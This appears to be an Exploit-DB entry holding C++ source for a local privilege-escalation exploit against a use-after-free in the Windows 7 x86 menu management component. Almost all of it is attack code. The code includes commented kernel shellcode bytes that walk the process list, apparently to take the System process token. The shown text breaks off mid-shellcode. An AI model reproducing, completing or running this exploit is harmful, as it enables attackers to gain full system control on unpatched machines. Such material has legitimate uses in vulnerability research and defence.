Exploit-DB #44478
Description: Microsoft Windows Manager (7 x86) - Menu Management Component UAF Privilege Elevation
Type: local
Platform: windows_x86
Date: 2018-03-26
Author: xiaodaozhi

Exploit:
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")

#define POCDEBUG 0

#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif

static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

static constexpr UINT num_PopupMenuCount = 2;
static constexpr UINT num_WndShadowCount = 3;
static constexpr UINT num_NtUserMNDragLeave = 0x11EC;
static constexpr UINT num_offset_WND_pcls = 0x64;

static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
static UINT  iMenuCreated  = 0;
static BOOL  bDoneExploit  = FALSE;
static DWORD popupMenuRoot = 0;
static HWND  hWindowMain   = NULL;
static HWND  hWindowHunt   = NULL;
static HWND  hWindowList[0x100] = { 0 };
static UINT  iWindowCount  = 0;
static PVOID pvHeadFake = NULL;
static PVOID pvAddrFlags = NULL;

typedef struct _HEAD {
    HANDLE  h;
    DWORD   cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
    HEAD    head;
    PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
    PVOID   rpdesk;
    PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
    THROBJHEAD  thread;
    DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

static PSHELLCODE pvShellCode = NULL;

// Arguments:
// [ebp+08h]:pwnd   = pwndWindowHunt;
// [ebp+0Ch]:msg    = 0x9F9F;
// [ebp+10h]:wParam = popupMenuRoot;
// [ebp+14h]:lParam = NULL;
// In kernel-mode, the first argument is tagWND pwnd.
static
BYTE
xxPayloadWindProc[] = {
    // Loader+0x108a:
    // Judge if the `msg` is 0x9f9f value.
    0x55,                               // push    ebp
    0x8b, 0xec,                         // mov     ebp,esp
    0x8b, 0x45, 0x0c,                   // mov     eax,dword ptr [ebp+0Ch]
    0x3d, 0x9f, 0x9f, 0x00, 0x00,       // cmp     eax,9F9Fh
    0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne     Loader+0x1128
    // Loader+0x109b:
    // Judge if CS is 0x1b, which means in user-mode context.
    0x66, 0x8c, 0xc8,                   // mov     ax,cs
    0x66, 0x83, 0xf8, 0x1b,             // cmp     ax,1Bh
    0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je      Loader+0x1128
    // Loader+0x10a8:
    // Get the address of pwndWindowHunt to ECX.
    // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
    // Get the address of pvShellCode to EDX by CALL-POP.
    // Get the address of pvShellCode->tagCLS[0x100] to ESI.
    // Get the address of popupMenuRoot to EDI.
    0xfc,                               // cld
    0x8b, 0x4d, 0x08,                   // mov     ecx,dword ptr [ebp+8]
    0xff, 0x41, 0x16,                   // inc     dword ptr [ecx+16h]
    0x60,                               // pushad
    0xe8, 0x00, 0x00, 0x00, 0x00,       // call    $5
    0x5a,                               // pop     edx
    0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub     edx,443h
    0xbb, 0x00, 0x01, 0x00, 0x00,       // mov     ebx,100h
    0x8d, 0x72, 0x18,                   // lea     esi,[edx+18h]
    0x8b, 0x7d, 0x10,                   // mov     edi,dword ptr [ebp+10h]
    // Loader+0x10c7:
    0x85, 0xdb,                         // test    ebx,ebx
    0x74, 0x13,                         // je      Loader+0x10de
    // Loader+0x10cb:
    // Judge if pvShellCode->tagCLS[ebx] == NULL
    0xad,                               // lods    dword ptr [esi]
    0x4b,                               // dec     ebx
    0x83, 0xf8, 0x00,                   // cmp     eax,0
    0x74, 0xf5,                         // je      Loader+0x10c7
    // Loader+0x10d2:
    // Judge if tagCLS->lpszMenuName == popupMenuRoot
    0x03, 0x42, 0x08,                   // add     eax,dword ptr [edx+8]
    0x39, 0x38,                         // cmp     dword ptr [eax],edi
    0x75, 0xee,                         // jne     Loader+0x10c7
    // Loader+0x10d9:
    // Zero tagCLS->lpszMenuName
    0x83, 0x20, 0x00,                   // and     dword ptr [eax],0
    0xeb, 0xe9,                         // jmp     Loader+0x10c7
    // Loader+0x10de:
    // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
    // Get the value of pvShellCode->pid to EAX.
    0x8b, 0x49, 0x08,                   // mov     ecx,dword ptr [ecx+8]
    0x8b, 0x5a, 0x0c,                   // mov     ebx,dword ptr [edx+0Ch]
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x8b, 0x09,                         // mov     ecx,dword ptr [ecx]
    0x8b, 0x5a, 0x10,                   // mov     ebx,dword ptr [edx+10h]
    0x8b, 0x42, 0x04,                   // mov     eax,dword ptr [edx+4]
    0x51,                               // push    ecx
    // Loader+0x10f0:
    // Judge if EPROCESS->UniqueId == pid.
    0x39, 0x44, 0x0b, 0xfc,             // cmp     dword ptr [ebx+ecx-4],eax
    0x74, 0x07,                         // je      Loader+0x10fd
    // Loader+0x10f6:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b,                   // mov     ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb,                         // sub     ecx,ebx
    0xeb, 0xf3,                         // jmp     Loader+0x10f0
    // Loader+0x10fd:
    // Get current EPROCESS to EDI.
    0x8b, 0xf9,                         // mov     edi,ecx
    0x59,                               // pop     ecx
    // Loader+0x1100:
    // Judge if EPROCESS->UniqueId == 4
    0x83, 0x7c, 0x0b, 0xfc, 0x04,       // cmp     dword ptr [ebx+ecx-4],4
    0x74, 0x07,                         // je      Loader+0x110e
    // Loader+0x1107:
    // Get ne